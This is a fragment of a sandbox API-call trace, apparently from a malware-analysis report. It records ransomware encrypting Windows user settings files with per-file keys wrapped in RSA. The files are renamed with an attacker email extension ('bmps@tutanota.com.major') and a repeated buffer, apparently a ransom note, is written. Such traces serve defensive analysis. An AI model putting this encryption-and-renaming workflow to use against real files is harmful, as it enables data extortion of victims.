lpBuffer=0x2f938d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0197.158] SetFilePointer (in: hFile=0xda8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.158] WriteFile (in: hFile=0xda8, lpBuffer=0x2f958e0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0197.159] SetFilePointer (in: hFile=0xda8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0197.159] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.159] WriteFile (in: hFile=0xda8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.160] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0197.160] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0197.160] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0197.160] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="OvL0F9eZTrFPcWJm88pfdHEtU8z9PcOxdaxCGtXmHUprRDLA1uzPzsCqiubGTfv5\n6htgXYk1aOf9crNn6lPu9yl3j9zZZRavbmehzSJIYuMED1jPax2go7chUPGMuU+l\nXKw3NTfR0lsmVu/wjBBGmHnDDmlIrgBJad/++6QH+ZNZU80heQutFODXtCjSkkCv\nGyK5MSO0RFG7rscSn4aKdh3H/7RZhEHN9sUFLL/dsnMh/d6ouKfj7QiVRCo4BJ7i\nsHI9Srh2U4BuUSHd2OAjshcdW62IvezymDE37IPHkeStdn6bKMQIVafXLVhAq+cp\nWzDts8B7UuwQN1bZ+K3lkg==\n", pcchString=0x2e3f9a8) returned 1 [0197.160] WriteFile (in: hFile=0xda8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0197.160] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.160] WriteFile (in: hFile=0xda8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.161] CloseHandle (hObject=0xda8) returned 1 [0197.161] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoft3dviewer_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\\Settings\\settings.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoft3dviewer_8wekyb3d8bbwe\\settings\\settings.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0197.164] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0197.164] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0197.165] ReadFile (in: hFile=0xda8, lpBuffer=0x59d320, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d320*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0197.165] SetFilePointer (in: hFile=0xda8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.165] WriteFile (in: hFile=0xda8, lpBuffer=0x59d2d0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0197.165] SetFilePointer (in: hFile=0xda8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0197.165] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.165] WriteFile (in: hFile=0xda8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.166] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0197.166] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0197.167] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0197.167] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="P6N/q/Cf71zcAZBvipMH532LPIVrmVjM8gK0fVlG67CJbOGCbax72mjAwCqBA04o\nYXVOTZXc1DuMkTVzDyUELI22NI4lDOCztfnmsUETkF/NALZ/Z8ipJIcSdwtoUyhW\nQyE0RvMVj+3DM2Iv4MjG713guyWJWhgXyiWAYbAAzhmIXP5B1xhVL1DUmmHYdTbj\nt2hpjVNFD0VZU82lCXV29GJWL+QXX464V1p3Dwp9CTqXvyrVi/73qu+7oR7uile/\nuseuk1Tyx0YYNasbj9fR/+fhdCYGcwaExAcGyFCOJlNdHvE1NomJ3kX9QsKo68b4\nDUMFNt9BZ2sMIK7jQJTcQg==\n", pcchString=0x2e3f9a8) returned 1 [0197.167] WriteFile (in: hFile=0xda8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0197.167] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.167] WriteFile (in: hFile=0xda8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.167] CloseHandle (hObject=0xda8) returned 1 [0197.168] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoft3dviewer_8wekyb3d8bbwe\\settings\\roaming.lock"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\\Settings\\roaming.lock.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoft3dviewer_8wekyb3d8bbwe\\settings\\roaming.lock.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0197.172] SetLastError (dwErrCode=0x0) [0197.172] GetLastError () returned 0x0 [0197.172] SetLastError (dwErrCode=0x0) [0197.172] GetLastError () returned 0x0 [0197.172] SetLastError (dwErrCode=0x0) [0197.172] SetLastError (dwErrCode=0x0) [0197.172] GetLastError () returned 0x0 [0197.172] SetLastError (dwErrCode=0x0) [0197.172] GetLastError () returned 0x0 [0197.172] SetLastError (dwErrCode=0x0) [0197.172] SetLastError (dwErrCode=0x0) [0197.172] GetLastError () returned 0x0 [0197.172] SetLastError (dwErrCode=0x0) [0197.172] SetLastError (dwErrCode=0x0) [0197.172] SetLastError (dwErrCode=0x12) [0197.172] GetLastError () returned 0x12 [0197.172] SetLastError (dwErrCode=0x12) [0197.172] GetLastError () returned 0x12 [0197.172] SetLastError (dwErrCode=0x12) [0197.172] SetLastError (dwErrCode=0x12) [0197.173] GetLastError () returned 0x12 [0197.173] SetLastError (dwErrCode=0x12) [0197.173] GetLastError () returned 0x12 [0197.173] SetLastError (dwErrCode=0x12) [0197.173] SetLastError (dwErrCode=0x12) [0197.173] GetLastError () returned 0x12 [0197.173] SetLastError (dwErrCode=0x12) [0197.173] SetLastError (dwErrCode=0x12) [0197.173] SetLastError (dwErrCode=0x12) [0197.173] GetLastError () returned 0x12 [0197.173] SetLastError (dwErrCode=0x12) [0197.173] GetLastError () returned 0x12 [0197.173] SetLastError (dwErrCode=0x12) [0197.173] SetLastError (dwErrCode=0x12) [0197.173] GetLastError () returned 0x12 [0197.173] SetLastError (dwErrCode=0x12) [0197.173] GetLastError () returned 0x12 [0197.173] SetLastError (dwErrCode=0x12) [0197.173] SetLastError (dwErrCode=0x12) [0197.173] GetLastError () returned 0x12 [0197.173] SetLastError (dwErrCode=0x12) [0197.173] GetLastError () returned 0x12 [0197.174] SetLastError (dwErrCode=0x12) [0197.174] SetLastError (dwErrCode=0x12) [0197.174] GetLastError () returned 0x12 [0197.174] SetLastError (dwErrCode=0x12) [0197.174] SetLastError (dwErrCode=0x12) [0197.174] WriteFile (in: hFile=0xdb4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0197.175] CloseHandle (hObject=0xdb4) returned 1 [0197.175] SetLastError (dwErrCode=0x0) [0197.175] GetLastError () returned 0x0 [0197.175] SetLastError (dwErrCode=0x0) [0197.176] GetLastError () returned 0x0 [0197.176] SetLastError (dwErrCode=0x0) [0197.176] SetLastError (dwErrCode=0x0) [0197.176] GetLastError () returned 0x0 [0197.176] SetLastError (dwErrCode=0x0) [0197.176] SetLastError (dwErrCode=0x0) [0197.177] WriteFile (in: hFile=0xdb4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0197.178] CloseHandle (hObject=0xdb4) returned 1 [0197.178] SetLastError (dwErrCode=0x0) [0197.178] GetLastError () returned 0x0 [0197.178] SetLastError (dwErrCode=0x0) [0197.178] GetLastError () returned 0x0 [0197.178] SetLastError (dwErrCode=0x0) [0197.178] SetLastError (dwErrCode=0x0) [0197.178] GetLastError () returned 0x0 [0197.178] SetLastError (dwErrCode=0x0) [0197.178] SetLastError (dwErrCode=0x0) [0197.193] WriteFile (in: hFile=0xdb4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0197.195] CloseHandle (hObject=0xdb4) returned 1 [0197.195] SetLastError (dwErrCode=0x0) [0197.195] GetLastError () returned 0x0 [0197.195] SetLastError (dwErrCode=0x0) [0197.195] GetLastError () returned 0x0 [0197.195] SetLastError (dwErrCode=0x0) [0197.195] SetLastError (dwErrCode=0x0) [0197.195] GetLastError () returned 0x0 [0197.195] SetLastError (dwErrCode=0x0) [0197.195] SetLastError (dwErrCode=0x0) [0197.196] WriteFile (in: hFile=0xdb4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0197.198] CloseHandle (hObject=0xdb4) returned 1 [0197.198] SetLastError (dwErrCode=0x0) [0197.198] GetLastError () returned 0x0 [0197.198] SetLastError (dwErrCode=0x0) [0197.198] GetLastError () returned 0x0 [0197.198] SetLastError (dwErrCode=0x0) [0197.198] SetLastError (dwErrCode=0x0) [0197.198] GetLastError () returned 0x0 [0197.198] SetLastError (dwErrCode=0x0) [0197.198] SetLastError (dwErrCode=0x0) [0197.199] WriteFile (in: hFile=0xdb4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0197.200] CloseHandle (hObject=0xdb4) returned 1 [0197.201] SetLastError (dwErrCode=0x0) [0197.201] GetLastError () returned 0x0 [0197.201] SetLastError (dwErrCode=0x0) [0197.201] GetLastError () returned 0x0 [0197.201] SetLastError (dwErrCode=0x0) [0197.201] SetLastError (dwErrCode=0x0) [0197.201] GetLastError () returned 0x0 [0197.201] SetLastError (dwErrCode=0x0) [0197.201] SetLastError (dwErrCode=0x0) [0197.202] WriteFile (in: hFile=0xdb4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0197.203] CloseHandle (hObject=0xdb4) returned 1 [0197.203] SetLastError (dwErrCode=0x0) [0197.203] GetLastError () returned 0x0 [0197.203] SetLastError (dwErrCode=0x0) [0197.203] GetLastError () returned 0x0 [0197.203] SetLastError (dwErrCode=0x0) [0197.203] SetLastError (dwErrCode=0x0) [0197.203] GetLastError () returned 0x0 [0197.203] SetLastError (dwErrCode=0x0) [0197.203] SetLastError (dwErrCode=0x0) [0197.204] WriteFile (in: hFile=0xdb4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0197.205] CloseHandle (hObject=0xdb4) returned 1 [0197.205] SetLastError (dwErrCode=0x0) [0197.205] GetLastError () returned 0x0 [0197.205] SetLastError (dwErrCode=0x0) [0197.205] GetLastError () returned 0x0 [0197.205] SetLastError (dwErrCode=0x0) [0197.205] SetLastError (dwErrCode=0x0) [0197.205] GetLastError () returned 0x0 [0197.205] SetLastError (dwErrCode=0x0) [0197.205] GetLastError () returned 0x0 [0197.205] SetLastError (dwErrCode=0x0) [0197.205] SetLastError (dwErrCode=0x0) [0197.205] GetLastError () returned 0x0 [0197.205] SetLastError (dwErrCode=0x0) [0197.206] SetLastError (dwErrCode=0x0) [0197.206] WriteFile (in: hFile=0xdb4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0197.207] CloseHandle (hObject=0xdb4) returned 1 [0197.207] SetLastError (dwErrCode=0x0) [0197.207] GetLastError () returned 0x0 [0197.207] SetLastError (dwErrCode=0x0) [0197.207] GetLastError () returned 0x0 [0197.207] SetLastError (dwErrCode=0x0) [0197.207] SetLastError (dwErrCode=0x0) [0197.207] GetLastError () returned 0x0 [0197.207] SetLastError (dwErrCode=0x0) [0197.207] GetLastError () returned 0x0 [0197.207] SetLastError (dwErrCode=0x0) [0197.208] SetLastError (dwErrCode=0x12) [0197.208] GetLastError () returned 0x12 [0197.208] SetLastError (dwErrCode=0x12) [0197.208] GetLastError () returned 0x12 [0197.208] SetLastError (dwErrCode=0x12) [0197.208] SetLastError (dwErrCode=0x12) [0197.208] GetLastError () returned 0x12 [0197.208] SetLastError (dwErrCode=0x12) [0197.208] GetLastError () returned 0x12 [0197.208] SetLastError (dwErrCode=0x12) [0197.208] SetLastError (dwErrCode=0x12) [0197.208] GetLastError () returned 0x12 [0197.208] SetLastError (dwErrCode=0x12) [0197.208] GetLastError () returned 0x12 [0197.208] SetLastError (dwErrCode=0x12) [0197.209] WriteFile (in: hFile=0xdb8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0197.211] CloseHandle (hObject=0xdb8) returned 1 [0197.214] WriteFile (in: hFile=0xdc0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0197.215] CloseHandle (hObject=0xdc0) returned 1 [0197.215] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0197.215] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0197.216] ReadFile (in: hFile=0xdc8, lpBuffer=0x59d1f0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1f0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0197.216] SetFilePointer (in: hFile=0xdc8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.216] WriteFile (in: hFile=0xdc8, lpBuffer=0x59d210*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d210*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0197.216] SetFilePointer (in: hFile=0xdc8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0197.216] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.216] WriteFile (in: hFile=0xdc8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.218] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0197.218] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0197.218] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0197.218] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="UccdpTpzlMzKm/t5J4NjH/m2VQv1UkFpbnMw4e2zZMMFAmLM9zCgHCxX4DVJdgwl\nomlFmU77C+KmgBiDMCEe2Ytt8ckmY+7pfkla99zov5yME2AcYf9j6vwS2UlisQHu\nVWmpK5KXGWxo6l7uV1wBMEo1ZKHmY1cH2msliVUQNmv7bYcNsK0Gd0qGZpAQjsVv\n1g1kxFHewqLRlbZgNwWUOXNkkR/gnKnc4PM4KGnxnVRh4JaVCahej+lNKvyB5L+B\nCDAO42I+6qupizqYyiSPWZTj5ZGY/FcOr0tKlS9p/idJX95YWKESKQaPFvMdHkxk\ne3wUpH3Ayd1OQOlJZYv4Dg==\n", pcchString=0x2e3f9a8) returned 1 [0197.219] WriteFile (in: hFile=0xdc8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0197.219] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.219] WriteFile (in: hFile=0xdc8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.219] CloseHandle (hObject=0xdc8) returned 1 [0197.277] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0197.277] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0197.278] ReadFile (in: hFile=0xdc8, lpBuffer=0x2f938d8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f938d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0197.292] SetFilePointer (in: hFile=0xdc8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.292] WriteFile (in: hFile=0xdc8, lpBuffer=0x2f8d8c0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8d8c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0197.293] SetFilePointer (in: hFile=0xdc8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0197.293] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.293] WriteFile (in: hFile=0xdc8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.294] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0197.294] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0197.294] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0197.294] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ytudt943SM9dYa8BQjF120pphUM4O1nyoR5ow8XvlskLgw4BG8n0BzQTw3EntytV\nUZLYrOn3i+grFevia/FgIma+qfi4to72doLp+Ryze+e3yQCzsPkb+fR35TcJSI+E\nRLrTdWH2xJBpXVitnxYwKi5MHkElW9Kmh1QM5qbweQSOxmWT+ZFkDwFuoNXuom7i\npMI1t/Br5zHF20z+nj7aOWbyc3fAWaW/N4QRSHJfPIG5mxmtIhXlwaZUGcSUTeXE\nVU83i7GY3sZXEZRRjEZpw7/K5ZYDsJWpVOryeEKep8Z4vMRR1k+eaTCUUCLG/6f8\nhWcqweej1USpTSfoYsIYWw==\n", pcchString=0x2e3f9a8) returned 1 [0197.294] WriteFile (in: hFile=0xdc8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0197.294] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.295] WriteFile (in: hFile=0xdc8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.295] CloseHandle (hObject=0xdc8) returned 1 [0197.298] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0197.298] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0197.298] ReadFile (in: hFile=0xdc8, lpBuffer=0x2f8d8c0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8d8c0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0197.340] SetFilePointer (in: hFile=0xdc8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.340] WriteFile (in: hFile=0xdc8, lpBuffer=0x2f8f8c8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0197.340] SetFilePointer (in: hFile=0xdc8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0197.341] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.341] WriteFile (in: hFile=0xdc8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.341] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0197.341] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0197.342] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, 